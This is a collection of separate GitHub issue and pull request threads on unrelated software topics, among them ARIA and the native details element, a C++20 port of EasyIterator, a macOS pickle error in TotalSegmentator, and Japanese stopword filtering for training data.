Worth noting that if we have native support, we do not want any of the aria attributes being added. Is that what you are expecting to see? These are only to be included if the browser does not support the details element. Including them on browsers that do support the details element actually makes accessibility worse (Based on UR performed in the 111 online team - See #754 )

Hi Andy, thanks for the sanity check.
The issue we're seeing is that some of the more important attributes, such as aria which screen readers will use to determine whether they should be reading the hidden/expanded content, aren't applied to the components since all of this logic is located within the initDetails function.
However, having referred to the Mozilla developer guide, I can see the warning at the top of the page which mentions the migration from ARIA to native support in HTML5.
I'll mark this closed in that case, I thought the logic would/should have been the other way but I can see now that was down to a knowledge gap with HTML5.

👍🏻


[c] Rework array generation

This gives us cross-assembly array generation support aswell as leading to less duplicated code due to shared primitive array defintions.

Build failed


Create useDeepMemo hook

React's useMemo hook performs an Object.is comparison on its dependency list to determine if the memo needs to be called again. While performant this can have adverse effects when an array is used as a dependency. After the deep equals function is finished use that to create a useDeepMemo function that will work with arrays, arrays of objects and deeply nested objects.

#2


fix: expose stats functions

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 88.584%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
130

Relevant Lines:
130

💛  - Coveralls


Suggestion not showing empty string properties

Closes: https://github.com/microsoft/vscode/issues/184812
Now i wonder, should all string values that contain whitespace be wrapped with quotes?
Note:
There should also be a test for the suggestion menu (dropdown). I couldn't find it yet

@timursaurus please read the following Contributor License Agreement(CLA). If you agree with the CLA, please reply with the following information.
@microsoft-github-policy-service agree [company="{your company}"]

Options:

(default - no company specified) I have sole ownership of intellectual property rights to my Submissions and I am not making Submissions in the course of work for my employer.

@microsoft-github-policy-service agree

(when company given) I am making Submissions in the course of work for my employer (or my employer has intellectual property rights in my Submissions by contract or applicable law). I have permission from my employer to make Submissions and enter into this Agreement on behalf of my employer. By signing below, the defined term “You” includes me and my employer.

@microsoft-github-policy-service agree company="Microsoft"

Contributor License Agreement
@microsoft-github-policy-service agree


Update EasyIterator to work with C++20

Summary
This PR updates the excellent EasyIterator library to work with C++20 (along with a few minor changes to CMakeLists.txt files and some small comment fixes... sorry I couldn't help myself 😅🙈).
Detail
C++20 comes with an enormous overhaul to how comparisons work (there's an excellent blogpost about this by Barry Revzin you can find here).
When using C++20 with EasyIterator (you can do this by changing cxx_std_17 to cxx_std_20 in the root CMakeLists.txt file when using the library or building the tests), compiling EasyIterator as-is unfortunately no longer compiles. This is down to changes relating to lookup rules, and reversibility and rewriting in C++20. To workaround these changes I've moved the equality operators to friend functions which solves the specific issue relating to reversibility, namely...
.../easy_iterator.h:400:24: error: ISO C++20 considers use of overloaded operator '!=' (with operand types 'easy_iterator::Iterator<std::tuple<easy_iterator::RangeIterator<int>, std::__wrap_iter<int *>>, easy_iterator::increment::ByTupleIncrement, easy_iterator::dereference::ByTupleDereference, easy_iterator::compare::ByLastTupleElementMatch>' and 'easy_iterator::Iterator<std::tuple<easy_iterator::RangeIterator<int>, std::__wrap_iter<int *>>, easy_iterator::increment::ByTupleIncrement, easy_iterator::dereference::ByTupleDereference, easy_iterator::compare::ByLastTupleElementMatch>') to be ambiguous despite there being a unique best viable function with non-reversed arguments [-Werror,-Wambiguous-reversed-operator]

.../easy_iterator.cpp:218:5: note: in instantiation of function template specialization 'easy_iterator::copy<easy_iterator::WrappedIterator<easy_iterator::RangeIterator<int>>, std::vector<int>, easy_iterator::dereference::ByValueReference>' requested here
  218 |     copy(range(10), vec);
      |     ^
.../easy_iterator.h:162:38: note: candidate function with non-reversed arguments
  162 |     template <typename... Args> bool operator!=(const IteratorPrototype<Args...> &other) const {
      |                                      ^
.../easy_iterator.h:159:38: note: ambiguous candidate function with reversed arguments
  159 |     template <typename... Args> bool operator==(const IteratorPrototype<Args...> &other) const {

I've run the tests which all pass with the updated changes:
[doctest] doctest version is "2.4.11"
[doctest] run with "--help" for options
===============================================================================
[doctest] test cases:  12 |  12 passed | 0 failed | 0 skipped
[doctest] assertions: 329 | 329 passed | 0 failed |
[doctest] Status: SUCCESS!

Note
I have also tested these changes with C++17 to ensure the updates don't break any clients who are not yet ready to upgrade to C++20 (you can see the C++17 changes in commit a79b099b02773aec648da7d4a4d81a24397136ab). One cool thing in C++20 is you can omit the != operator if == is provided as it will be automatically provided for you. I've kept the usage requirements for the library as C++17 even though now it will work with C++20.
If you don't care about C++ 20 no worries, feel free to close this PR, but I'll be using this branch out of my fork for the foreseeable future I'm sure 😅.
I'd also like to quickly say this is a great library and one I've enjoyed using for many years!

Amazing, thanks a lot for updating the project to remain compatible with C++20! I'm very happy to update the project with your newest changes so that others can benefit from it. In order to merge, I'll need to push an update to the workflow configs so that CI actions will run for third-party PRs.

No problem at all! 🙂 Thanks for creating such a great library in the first place, and for approving the PR 🥳
I see the builds have passed which is great, I just see the style check failed. Hopefully that's not too much of a pain to fix (I did run clang-format locally but might have missed something sorry).
Thanks very much for the swift response!

I see the builds have passed which is great, I just see the style check failed. Hopefully that's not too much of a pain to fix (I did run clang-format locally but might have missed something sorry).

Yeah seems the expected version of clang-format wasn't clearly specified in the CI, sorry about that! Now that it's locked I can format with the same version on my machine and the tests pass. In the future we may also want to run the CI with different versions of C++ to ensure backwards compatibility, but for now supporting C++20 is already a great improvement.
I'll prepare an update in another PR and make a new release shortly. Thanks again for the contribution!

I see the builds have passed which is great, I just see the style check failed. Hopefully that's not too much of a pain to fix (I did run clang-format locally but might have missed something sorry).

Yeah seems the expected version of clang-format wasn't clearly specified in the CI, sorry about that! Now that it's locked I can format with the same version on my machine and the tests pass. In the future we may also want to run the CI with different versions of C++ to ensure backwards compatibility, but for now supporting C++20 is already a great improvement.
I'll prepare an update in another PR and make a new release shortly. Thanks again for the contribution!

No worries at all, thanks for updating it! Okay awesome stuff, thanks for running the formatting again 🙌

In the future we may also want to run the CI with different versions of C++ to ensure backwards compatibility.

100%, it should be possible to create a stub CMake executable in the test project that includes EasyIterator and sets target_compile_features to cxx_std_20 (the library can still have the usage requirement of cxx_std_17), and that would guarantee it compiles with C++20 (we could do the same for C++23 as well perhaps when it's a bit more established).
Thank you very much for merging the PR and responding so quickly, I'll delete the pr0g:cpp20-support now 👍

Changes are now released in v1.5. 🎉
Thanks again for the update!


Set the NU5 testnet activation height to 1_590_000

See #1841 for details.
Tasks

Switch to Testnet and remove should_panic from:

v5_transaction_is_accepted_after_nu5_activation.
v5_coinbase_transaction_is_accepted
any other functions that panic once NU5 has an activation height

Hey team! Please add your planning poker estimate with ZenHub @conradoplg @dconnolly @jvff @oxarbitrage @teor2345 @upbqdn


It can throw System.IO.PathTooLongException also

I cannot retrieve a file from remote server because it's path is too long. Fix it or at least update the documentation

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: f1a0b142-3819-3929-bc93-c4d8e0598978
Version Independent ID: 932a8fe2-dc4e-ade9-e67d-45897840c037
Content: StorageFile.GetFileFromPathAsync(String) Method (Windows.Storage) - UWP app developer
Content Source: https://cpubwin.visualstudio.com/DefaultCollection/windows-uwp/_git/winrt-api-build?path=%2fwinrt-api-build%2fwindows.storage.storagefile.yml&version=GBlive&_a=contents
Product: uwp
Git Login: mcleanbyron
Microsoft Alias: mcleans

Thanks for reaching out with your feedback. This sounds like a support request to me. You'll find quicker support by consulting our developer support resources. For community assistance with development questions I recommend that you ask on our forums or StackOverflow. Otherwise, please see the developer support page for your support options. If you get assistance through these other resources and believe that information would help us improve the docs, please come back and let us know.


zoomin/zoomout images for each pixel and tip pixel value, position

Hi, I'm wondering to render images using egui, while using `self.app_image.show_scaled(ui, 10.0), I can not get the optimum result coz the the image getting blurred, I just want to get each pixel to be zoomed, for example: using vscode zoom image can see clearly each pixel

my 10x zoomed egui result:

can any one help this?
BTW, I want to show each pixel position and value while mousing hoving on pixel

solved


[Bug]: Transactions don't reflect as completed on the app

Description
Transactions are marked as waiting for confirmation on the app

Steps to reproduce

Open the Stax app
Tap on any of the transactions to work on
Select the required steps for that transaction
Tap on "Continue" or Enter MPESA PIN

Expected result
The app recognizes the transactions as done
Actual result
Transactions are still pending even though they have been  successful
Link to screenshots/screen recordings
https://drive.google.com/file/d/16kW5qj_EnzqcVRCd93WZ1GMPZiyNlwqO/view?usp=sharing
Device name
Samsung Galaxy A20s
Android OS
11
Is your phone dual SIM or single SIM?
Dual SIM
Which telco are you using for this test?
Safaricom
Stax device ID or email address
<EMAIL_ADDRESS>

@brysonwaisi this has already been reported, will close it and track the first one that was reported. Thank you fo reporting though.


Feature/add http2 langium model server

This currently only exposes GET /models/{id} endpoint without subscriptions


Error while running "aaa" pipeline

Hi,
I'm getting the following error while running the "aaa" pipeline:
AttributeError: Can't pickle local object 'nnUNetTrainerV2.initialize_network..'
Exception ignored in: <totalsegmentator.libs.DummyFile object at 0x1c22add60>
AttributeError: 'DummyFile' object has no attribute 'flush'
How can i solve it?
Thanks.

macos doesn't support pickle of the lambda.
just replaced the lambda x:x for identity, and identity is:
def identity(x):
return x


Japanese pre-procesesing - remove text with low rate of Japanese stopwords

Background

Seems that there are some no-japanese or low-quality text (url, address, a repetition of meaningless nouns) like:

920,"{""text"": ""DOMASTA 3-8-7 KITASHINJUKU SHINJUKU-KU TOKYO 〒169-0074 東京都新宿区北新宿3-8-7 ドマスタ内 TEL 050-5539-7630 FAX 03-3365-8250""}”
1029,"{""text"": ""[http://wiki.basercms.net/ver4/関数リファレンス/blogPosts](http://wiki.basercms.net/ver4/関数リファレンス/blogPosts)""}"
1526,"{""text"": ""セクシー | 鳥 | かわいい | アート | ROCK | 自然 | 車 | 三角 | ロック | アメカジ | プロレス | シュール | 音楽 | 花 | パロディ | クライミング | パンダ | シンプル | 宇宙""}”

Deepmind Gopher Paper used this preprocessing:

We also require that 80% of words in a document contain at least one alphabetic character, and apply a "stop word" filter, to remove docuetns that do not contain at least two of the following English words: the, be, to, of, and, that, have, with; this adequately deals with ostensibly English documents that contain no coherent English text.

We might their method by customizing it to Japanese so that we can reduce low quality data

TODOs

remove text that do not contain at least N of the following frequent pattern (stopword, postposition): "は","を","に","と","の", "て", "へ", "です", "だ”
test sample data and find appropriate hyperparameter

@skjang54 I wonder if we need to flip this comparison?
https://github.com/EleutherAI/dps/blob/3731bb2a5bc19afc0d9c967402de51016d91d88a/dps/spark/prep/japanese_prep.py#L55-L59
I think if a sentence has at least one of those frequent chars, we can keep the sentence.
On the contrary, if a sentence doesn't have any of those, it's not a consistent Japanese sentence at high probability.

@fujiki-1emon Yeah you are right. I fixed it to the right comparison, thanks!
And I changed the threshold ratio to the int value.

Thanks!
I think you coded in a such way (>) to test and see what kind of sentences are filtered out.
freq or cnt, either is OK. But I just thought that the comparison should have been flipped (to <= i.e. less than or equal to).
And as we know Kevin's opinion, we'd like not to filter out a lot of texts, so I think it's at least enough if there's one such frequent chars.
However, we can tune the parameter later. Thanks for your work.